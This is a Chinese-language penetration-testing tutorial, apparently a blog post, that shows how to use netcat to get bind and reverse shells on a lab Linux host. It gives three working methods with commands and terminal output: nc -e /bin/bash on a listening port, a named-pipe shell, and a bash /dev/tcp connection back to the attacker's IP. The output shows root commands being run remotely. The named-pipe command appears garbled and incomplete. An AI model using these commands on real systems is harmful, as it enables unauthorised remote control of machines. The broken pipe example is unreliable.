nc帮助文档上面说的是TCP/IP协议中的swiss army knife,是一个使用tcp或udp协议通过网络连接来读写数据的一个简单的多功能的工具!在渗透中经常用于反弹shell,用于交互式执行shell,或者用于提权!

    基本使用语法:

1
nc 选项 IP port

    基本参数说明:

1
2
3
-l:监听端口,监听入站信息
-p:后跟本地端口号
-v:显示端口的信息,多数人喜欢使用-vv,但是我用了没看到有什么区别

    第一种方法:

    第一种的话需要目标主机直接就是外网独立ip才可以,如果是通过内网映射出来的,就不适用这个方法了!

    目标主机:

1
nc -lvp 2222 -e  /bin/bash
1
2
root@kali:~ # nc -lvp 2222 -e /bin/bash
listening on [any] 2222 ...

    攻击主机:

1
nc 目标机IP 2222
1
F:\\eth10-CTF-Toolkits\\CTF工具包\\连接工具>nc 192.168.5.128 2222

    此时我们查看目标主机:

1
2
3
4
root@kali:~ # nc -lvp 2222 -e /bin/bash
listening on [any] 2222 ...
192.168.5.1: inverse host lookup failed: Unknown host
connect to [192.168.5.128] from (UNKNOWN) [192.168.5.1] 14960

    此时我们在攻击机就可以执行命令了!

1
2
3
4
5
F:\\eth10-CTF-Toolkits\\CTF工具包\\连接工具>nc 192.168.5.128 2222
whoami
root
uname  -a
Linux kali 4.6.0-kali1-amd64  #1 SMP Debian 4.6.4-1kali1 (2016-07-21) x86_64 GNU/Linux

    第二种方法:

    第二种方法,需要我们有独立外网ip,用于监听返回来的shell!

    目标主机:

1
2
root@kali:~ # mknod /tmp/backpipe p
root@kali:~ # /bin/sh 0/tmp/backpipe

    攻击主机:

1
2
3
4
5
6
7
8
F:\\eth10-CTF-Toolkits\\CTF工具包\\连接工具>nc -lvp 2222
lstn on [any] 2222 ..
192.168.5.128: reverse hst chk phailed: h_errno 11004: NO_DATA
connect to [192.168.5.1] from (UNKNOWN) [192.168.5.128] 53404: NO_DATA
whoami
root
uname  -a
Linux kali 4.6.0-kali1-amd64  #1 SMP Debian 4.6.4-1kali1 (2016-07-21) x86_64 GNU/Linux

    第三种:

    第三种方法需要我们有独立的外网ip,用于接收shell!

    目标主机:

1
root@kali:~ # bash -i >& /dev/tcp/192.168.5.1/2222 0>&1

    攻击主机:

1
2
3
4
5
6
7
8
9
10
11
F:\\eth10-CTF-Toolkits\\CTF工具包\\连接工具>nc -lvp 2222
lstn on [any] 2222 ..
192.168.5.128: reverse hst chk phailed: h_errno 11004: NO_DATA
connect to [192.168.5.1] from (UNKNOWN) [192.168.5.128] 53418: NO_DATA
root@kali:~ # uname -a
uname  -a
Linux kali 4.6.0-kali1-amd64  #1 SMP Debian 4.6.4-1kali1 (2016-07-21) x86_64 GNU/Linux
root@kali:~ # whoami
whoami
root
root@kali:~ #exit